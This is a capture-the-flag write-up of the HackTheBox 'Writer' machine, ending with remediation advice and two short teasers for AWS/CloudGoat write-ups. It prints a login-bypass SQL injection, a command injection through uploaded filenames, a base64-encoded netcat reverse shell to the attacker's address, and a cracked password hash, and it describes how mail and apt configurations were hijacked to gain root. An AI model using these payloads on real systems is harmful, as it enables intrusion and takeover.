This report can be read both on this site, and as its original report form. It is highly recommended that you read the original report form instead because it is better formatted.
After enumerating the website, the /administrative page was found which involved a simple login page. The username field is vulnerable to a critical SQL injection, which an attacker could leverage to login as an administrative user, access sensitive local files, and extract usernames and password hashes.
Following the authentication bypass, an insecure image upload feature could be exploited to gain RCE on the target. After obtaining a shell as the www-data user, escalating privileges to the local kyle user could be done by way of cracking his hash in the dev SQL database. The kyle user was part of the filter group which allowed for editing the configuration files of the SMTP service running locally on port 25. Because this service was running as the john user, getting a shell via the service resulted in compromising his account.
Finally, the john user is part of the management group which has access to the apt repository configuration files. A cronjob running as root which performed a frequent apt-get update command could therefore be taken advantage of, and obtaining root privileges was possible through adding a reverse shell file in the apt configurations. Please view the Post Exploitation Analysis and Conclusion sections to see remediations for these vulnerabilities
Attack Narrative
No information was provided prior to this engagement, other than the IP address of the target: 10.10.11.101.
Enumeration
Port Enumeration
To examine potential vulnerabilities, the ports of the target were first scanned:
From the nmap scan, it is apparent that the SSH, HTTP, and SMB services are running on the target. The SMB service is of interest, however there is no anonymous access to any of the shares:
Seeing as all of the services are up to date, it follows that the HTTP service must be searched for potential vulnerabilities.
Web Enumeration
Users visiting the target’s web server are met with the following home page:
Enumerating the directories of the webpage with gobuster[1], the following directories are found:
A directory of particular interest is /administrative, especially since it cannot be found without brute forcing directories. Visiting this directory reveals a simple login form which asks for a username and password:
Note the domain of the target (namely writer.htb). However, no virtual host routing is present.
SQL Injection
When inputting ’OR 1=1– - as the username and choosing a random value for the password, the user is automatically authenticated, thus confirming the presence of SQL injection. As an authenticated user, stories can be edited and created, and pictures can be uploaded:
The web page does not properly check if an uploaded file is an image, as it was possible to upload a reverse shell by the name of php-reverse-shell.jpg.php. This, however, did not lead to RCE as the web page nevertheless treated the file as an image. Furthermore, uploading a malicious image with PHP code did not work.
An addition to the image upload feature is the ability to upload files given a url. This could be utilized to cause the server to perform GET requests to an arbitrary website of the user’s choice:
Request
Note the “image_url” parameter highlighted in red
Response
Judging from the user-agent, it was found that the server is running python. After failing to obtain code executions despite trying many different upload attacks, it follows that the source code of the upload feature must be leaked to determine how it works.
Leveraging SQLi to Read Local Files
This is possible via the load_file SQL function. Going back to the login page, this function can be used in conjunction with a union select statement to leak files:
Payload
Response
Getting RCE
Source Code Analysis
Before being able to read the source code of the website, the full path of the file containing the source code must first be discovered. Seeing as the server is running apache2, the 000-default.conf file in the /etc/apache2/sites-available directory, a directory which holds configuration files for Apache virtual hosts, can be leaked to determine this information.
Payload
Response
In particular, note the directory in which the writer.wsgi file lies in (highlighted in blue). After finding out that the server is running python, fuzzing for files in the root of the web server revealed an init.py file within /var/www/writer.htb/writer/. Leaking this file reveals the following contents:
Note the file was shortened to better emphasize the source code of the upload feature. Critically insecure code is highlighted in red, and the text highlighted in purple is the segment that the undermentioned exploit focuses on.
Finding RCE Vulnerability
Within the source code are multiple examples of insecure code (explored more in detail in the Post Exploitation Analysis section). One that particularly stands out is the call of os.system on the uploaded filename. Before testing exploits on the target, the exploit was tested out locally to get a closer view as to how the program behaves. Copying the segment of interest, we can get a closer look at how the program treats file names:
Code
Observe the argument of the urllib.request.urlretrieve() function. The user is in control of this argument. If a user were to upload a file called 1.jpg;sleep, then the server will behave accordingly:
Response
The local_filename is /tmp/tmpen3ya1q1
However, when changing the argument to be file:///home/0xd4y/business/hackthebox/medium/linux/writer/www/.jpg/1.jpg;sleep 10, then command execution is performed. This works because the urllib function does not correctly rename the file to something safe in the instance that the argument is using the file protocol. Therefore, a file with a malicious name can be uploaded using the image parameter, and this file can then be referenced locally via the file protocol.
Reverse Shell
After uploading a file with the name 0xd4y.jpg;echo -n cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTUuODAgOTAwMSA+L3RtcC9m|base64 -d|bash, it was referenced locally by putting the following in the image_url parameter: file:///var/www/writer.htb/writer/static/img/0xd4y.jpg;echo -n cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTUuODAgOTAwMSA+L3RtcC9m|base64 -d|bash. A reverse shell was then returned as the www-data user:
Privilege Escalation
Kyle
After enumerating multiple files in the box, it was found that there is a username and password in a mysql config file called /etc/mysql/my.cnf that points to the dev database:
One of Kyle’s passwords is located in the databases, albeit it is hashed:
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=. Cracking this hash reveals that Kyle’s password is marcoantonio.
John
The kyle user is part of multiple groups, one of them being the filter group which has permissions to edit the /etc/postfix/disclaimer file. Furthermore, after enumerating the ports running locally on the target, it was found that port 25 is open and running a Postfix SMTP server.
With pspy[2] running on a separate kyle SSH instance, the following message was sent on the box:
kyle@writer:~$ nc localhost 25
220 writer.htb ESMTP Postfix (Ubuntu)
MAIL FROM:kyle@writer.htb
250 2.1.0 Ok
RCPT TO: john@writer.htb
250 2.1.5 Ok
Data
354 End data with .
Thanks for reading this writeup!
.
250 2.0.0 Ok: queued as 9BB6F137
Upon sending this message, the following process occurred in the background:
Thus, the server is running as the john user (note UID=1001), and is executing the /etc/postfix/disclaimer file. Seeing as the kyle user had permission to edit this file, achieving a reverse shell as the john user could be obtained via appending a reverse shell to the top of the file and sending a message:
┌─[0xd4y@Writeup]─[~/business/hackthebox/medium/linux/writer]└──╼ $nc -lvnp 9001
listening on [any] 9001 …
connect to [10.10.15.80] from (UNKNOWN) [10.10.11.101] 49840
/bin/sh: 0: can’t access tty; job control turned off
$ whoami
john
Persistence on this account was maintained by grabbing john’s ssh key.
Root
John is part of the management group which has permission to edit the apt directory /etc/apt/apt.conf.d, a directory which is responsible for containing the apt configurations. As discovered using pspy, there is a cronjob running as root which performs the following command: /usr/bin/apt-get update. Therefore, a malicious configuration that returns a reverse shell can be added to the directory as follows:
When the cronjob runs again, a reverse shell is returned as the root user:
Post Exploitation Analysis
This section goes into further detail about the vulnerabilities of the target and how to mitigate them. Note that the mitigations shown in this section are incomplete pieces of code, however they are secure implementations of the desired result.
SQLi Mitigation (PDO)
This machine contained multiple vulnerabilities, starting with the SQL injection in the /administrative page. The vulnerability lies in the following SQL statement that is performed on the user’s query:
This insecure SQL statement allows an attacker to add a single quote in their username and then perform an arbitrary SQL statement of their choosing. To mitigate SQL injection attacks, the current recommendation is to use PDO (PHP Data Objects). The following code does not directly pass the user input into the SQL statement. Rather, using PDO tells the server what the SQL query and the user-inputted data are. This is successfully performed because the instruction and user-input are sent separately to the database:
Image Upload (RCE)
After successfully performing an SQL injection attack, an upload feature in the webpage was exploited to gain RCE due to insecure python code. System commands and evaluation functions should never be performed on user input. As discussed in Finding RCE Vulnerability, the system() function in the os module was the reason for the critical RCE vulnerability. The following code prevents this vulnerability:
The above program verifies if a file is a valid image by first checking its extension. Note that this is different from the source code of the website which simply searches for the presence of the .jpg string in the filename. After verifying the file’s extension, PIL’s verify method is called on the file before the file is uploaded to the img directory.
Conclusion
Multiple vulnerabilities were present on the target which resulted in a full compromise of the system. The /administrative page contained an SQL injection vulnerability which resulted in the leakage of local files and authentication bypass. After authenticating to the server, the insecure handling of filenames led to an RCE vulnerability.
Afterwards, the privilege escalation to root involved logging into the system as the kyle user who had permissions to edit the mail service. Due to the service running under john, the lateral movement involved adding a reverse shell to the configuration of the service. As the john user, apt configurations could be modified to exploit an apt-get update cronjob running as the root user. Observe the following remediations to mitigate the vulnerabilities outlined in the report:
Secure the SQL login page on /administrative
PDO should be used in place of the insecure SQL statement (see SQLi Mitigation (PDO)).
Never use system() or any sort of evaluation function on user-input.
The system command on the uploaded filename resulted in RCE.
Never reuse passwords
As the www-data user, kyle’s password could be retrieved by cracking his hash from the dev database. This would not have been of much use if the local kyle user had a different password on the target.
Passwords should be secure.
Fix misconfigurations related to the kyle and john user
kyle was able to edit a service that was run by john. To mitigate this, the service should either be run by kyle, or kyle should not have permissions to edit the service.
john was able to edit apt configurations. This sort of privilege should not be granted to any user. By adding a reverse shell to the apt configurations, any user who runs the apt command can be compromised by john.
We gain access to the targeted AWS account by finding an SSRF and RCE vulnerability on an AWS-hosted webapp. We then pivot to other containers and use the metdata credentialso f both the compromised EC2 instance and other docker containers to obtain elevated access within the AWS workload.
This is the first scenario in the CloudGoat series. We start off as a low-privileged user that can assume a role which gives Lambda:Invoke permissions. Using this permission we are able to exploit a high-privileged Lambda function via an SQL injection and obtain Administrator access.